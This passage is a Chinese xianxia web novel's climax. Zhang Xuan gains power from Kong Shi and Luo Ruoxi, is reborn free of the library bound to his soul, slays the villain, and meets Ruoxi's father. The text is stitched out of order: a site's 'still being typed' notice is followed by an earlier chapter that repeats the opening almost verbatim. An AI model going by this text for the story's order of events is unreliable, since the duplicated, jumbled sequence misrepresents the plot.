“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第89章 整军待发,暗藏玄机 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? 